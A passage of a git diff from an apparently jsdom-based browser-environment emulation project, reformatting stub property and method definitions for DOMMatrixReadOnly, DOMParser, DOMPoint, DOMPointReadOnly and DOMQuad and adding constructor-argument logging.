fromFloat32Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromFloat32Array", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromFloat64Array", { + configurable: true, + enumerable: true, + writable: true, + value: function fromFloat64Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromFloat64Array", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function fromMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromMatrix", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "a", { + configurable: true, + enumerable: true, + get: function a() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "a_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "b", { + configurable: true, + enumerable: true, + get: function b() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "b_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "c", { + configurable: true, + enumerable: true, + get: function c() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "c_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "d", { + configurable: true, + enumerable: true, + get: function d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "d_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "e", { + configurable: true, + enumerable: true, + get: function e() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "e_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "f", { + configurable: true, + enumerable: true, + get: function f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "f_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m11", { + configurable: true, + enumerable: true, + get: function m11() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m11_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m12", { + configurable: true, + enumerable: true, + get: function m12() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m12_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m13", { + configurable: true, + enumerable: true, + get: function m13() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m13_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m14", { + configurable: true, + enumerable: true, + get: function m14() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m14_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m21", { + configurable: true, + enumerable: true, + get: function m21() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m21_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m22", { + configurable: true, + enumerable: true, + get: function m22() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m22_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m23", { + configurable: true, + enumerable: true, + get: function m23() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m23_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m24", { + configurable: true, + enumerable: true, + get: function m24() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m24_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m31", { + configurable: true, + enumerable: true, + get: function m31() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m31_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m32", { + configurable: true, + enumerable: true, + get: function m32() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m32_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m33", { + configurable: true, + enumerable: true, + get: function m33() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m33_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m34", { + configurable: true, + enumerable: true, + get: function m34() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m34_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m41", { + configurable: true, + enumerable: true, + get: function m41() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m41_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m42", { + configurable: true, + enumerable: true, + get: function m42() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m42_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m43", { + configurable: true, + enumerable: true, + get: function m43() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m43_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "m44", { + configurable: true, + enumerable: true, + get: function m44() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "m44_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "is2D", { + configurable: true, + enumerable: true, + get: function is2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "is2D_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "isIdentity", { + configurable: true, + enumerable: true, + get: function isIdentity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "isIdentity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "flipX", { + configurable: true, + enumerable: true, + writable: true, + value: function flipX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "flipX", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "flipY", { + configurable: true, + enumerable: true, + writable: true, + value: function flipY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "flipY", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "inverse", { + configurable: true, + enumerable: true, + writable: true, + value: function inverse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "inverse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "multiply", { + configurable: true, + enumerable: true, + writable: true, + value: function multiply() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "multiply", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotate", { + configurable: true, + enumerable: true, + writable: true, + value: function rotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotateAxisAngle", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateAxisAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotateAxisAngle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "rotateFromVector", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateFromVector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "rotateFromVector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scale", { + configurable: true, + enumerable: true, + writable: true, + value: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scale", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scale3d", { + configurable: true, + enumerable: true, + writable: true, + value: function scale3d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scale3d", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "scaleNonUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function scaleNonUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "scaleNonUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "skewX", { + configurable: true, + enumerable: true, + writable: true, + value: function skewX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "skewX", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "skewY", { + configurable: true, + enumerable: true, + writable: true, + value: function skewY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "skewY", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toFloat32Array", { + configurable: true, + enumerable: true, + writable: true, + value: function toFloat32Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toFloat32Array", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toFloat64Array", { + configurable: true, + enumerable: true, + writable: true, + value: function toFloat64Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toFloat64Array", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "transformPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function transformPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "transformPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "translate", { + configurable: true, + enumerable: true, + writable: true, + value: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "translate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype, "DOMMatrixReadOnly", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMParser.js b/env_xbb_lastest_jsdom/env/DOMParser.js index 5c9a89c6..823d24f3 100644 --- a/env_xbb_lastest_jsdom/env/DOMParser.js +++ b/env_xbb_lastest_jsdom/env/DOMParser.js @@ -1,4 +1,22 @@ -// DOMParser对象 -bodavm.memory.globalobj['DOMParser'] = function DOMParser(){this._boarg= new bodaobj.window.DOMParser();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMParser'], "DOMParser"); -bodavm.toolsFunc.defineProperty('DOMParser', "parseFromString", {configurable:true, enumerable:true, writable:true, value:function parseFromString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMParser'].prototype, "DOMParser", "parseFromString", arguments)}},'prototype'); +// DOMParser对象 + +bodavm.memory.globalobj['DOMParser'] = function DOMParser() { + console.log_copy('DOMParser 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMParser(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMParser'], "DOMParser"); +bodavm.toolsFunc.defineProperty('DOMParser', "parseFromString", { + configurable: true, + enumerable: true, + writable: true, + value: function parseFromString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMParser'].prototype, "DOMParser", "parseFromString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMPoint.js b/env_xbb_lastest_jsdom/env/DOMPoint.js index 4b514b8b..90af9e5c 100644 --- a/env_xbb_lastest_jsdom/env/DOMPoint.js +++ b/env_xbb_lastest_jsdom/env/DOMPoint.js @@ -1,10 +1,64 @@ -// DOMPoint对象 -bodavm.memory.globalobj['DOMPoint'] = function DOMPoint(){this._boarg= new bodaobj.window.DOMPoint();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMPoint'], "DOMPoint"); -bodavm.memory.globalobj['DOMPoint'].prototype.__proto__=bodavm.memory.globalobj['DOMPointReadOnly'].prototype; -bodavm.memory.globalobj['DOMPoint'].__proto__=bodavm.memory.globalobj['DOMPointReadOnly']; -bodavm.toolsFunc.defineProperty('DOMPoint', "fromPoint", {configurable:true, enumerable:true, writable:true, value:function fromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].undefined, "DOMPoint", "fromPoint", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMPoint', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPoint', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPoint', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "z_get", arguments)}, set:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "z_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPoint', "w", {configurable:true, enumerable:true, get:function w (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "w_get", arguments)}, set:function w (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "w_set", arguments)}},'prototype'); +// DOMPoint对象 + +bodavm.memory.globalobj['DOMPoint'] = function DOMPoint() { + console.log_copy('DOMPoint 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMPoint(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMPoint'], "DOMPoint"); +bodavm.memory.globalobj['DOMPoint'].prototype.__proto__ = bodavm.memory.globalobj['DOMPointReadOnly'].prototype; +bodavm.memory.globalobj['DOMPoint'].__proto__ = bodavm.memory.globalobj['DOMPointReadOnly']; +bodavm.toolsFunc.defineProperty('DOMPoint', "fromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function fromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].undefined, "DOMPoint", "fromPoint", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMPoint', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPoint', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPoint', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "z_get", arguments); + }, + set: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "z_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPoint', "w", { + configurable: true, + enumerable: true, + get: function w() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "w_get", arguments); + }, + set: function w() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "w_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMPointReadOnly.js b/env_xbb_lastest_jsdom/env/DOMPointReadOnly.js index b4251df0..84e88eae 100644 --- a/env_xbb_lastest_jsdom/env/DOMPointReadOnly.js +++ b/env_xbb_lastest_jsdom/env/DOMPointReadOnly.js @@ -1,10 +1,70 @@ -// DOMPointReadOnly对象 -bodavm.memory.globalobj['DOMPointReadOnly'] = function DOMPointReadOnly(){this._boarg= new bodaobj.window.DOMPointReadOnly();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMPointReadOnly'], "DOMPointReadOnly"); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "fromPoint", {configurable:true, enumerable:true, writable:true, value:function fromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].undefined, "DOMPointReadOnly", "fromPoint", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "z_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "w", {configurable:true, enumerable:true, get:function w (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "w_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "matrixTransform", {configurable:true, enumerable:true, writable:true, value:function matrixTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "matrixTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "toJSON", arguments)}},'prototype'); +// DOMPointReadOnly对象 + +bodavm.memory.globalobj['DOMPointReadOnly'] = function DOMPointReadOnly() { + console.log_copy('DOMPointReadOnly 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMPointReadOnly(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMPointReadOnly'], "DOMPointReadOnly"); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "fromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function fromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].undefined, "DOMPointReadOnly", "fromPoint", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "z_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "w", { + configurable: true, + enumerable: true, + get: function w() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "w_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "matrixTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function matrixTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "matrixTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMQuad.js b/env_xbb_lastest_jsdom/env/DOMQuad.js index 039f34db..c4f16d0c 100644 --- a/env_xbb_lastest_jsdom/env/DOMQuad.js +++ b/env_xbb_lastest_jsdom/env/DOMQuad.js @@ -1,11 +1,78 @@ -// DOMQuad对象 -bodavm.memory.globalobj['DOMQuad'] = function DOMQuad(){this._boarg= new bodaobj.window.DOMQuad();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMQuad'], "DOMQuad"); -bodavm.toolsFunc.defineProperty('DOMQuad', "fromQuad", {configurable:true, enumerable:true, writable:true, value:function fromQuad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].undefined, "DOMQuad", "fromQuad", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMQuad', "fromRect", {configurable:true, enumerable:true, writable:true, value:function fromRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].undefined, "DOMQuad", "fromRect", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMQuad', "p1", {configurable:true, enumerable:true, get:function p1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMQuad', "p2", {configurable:true, enumerable:true, get:function p2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMQuad', "p3", {configurable:true, enumerable:true, get:function p3 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p3_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMQuad', "p4", {configurable:true, enumerable:true, get:function p4 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p4_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMQuad', "getBounds", {configurable:true, enumerable:true, writable:true, value:function getBounds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "getBounds", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMQuad', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "toJSON", arguments)}},'prototype'); +// DOMQuad对象 + +bodavm.memory.globalobj['DOMQuad'] = function DOMQuad() { + console.log_copy('DOMQuad 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMQuad(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMQuad'], "DOMQuad"); +bodavm.toolsFunc.defineProperty('DOMQuad', "fromQuad", { + configurable: true, + enumerable: true, + writable: true, + value: function fromQuad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].undefined, "DOMQuad", "fromQuad", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMQuad', "fromRect", { + configurable: true, + enumerable: true, + writable: true, + value: function fromRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].undefined, "DOMQuad", "fromRect", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMQuad', "p1", { + configurable: true, + enumerable: true, + get: function p1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMQuad', "p2", { + configurable: true, + enumerable: true, + get: function p2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p2_get", arguments); + }, + set: undefined +}, 'prototype'); 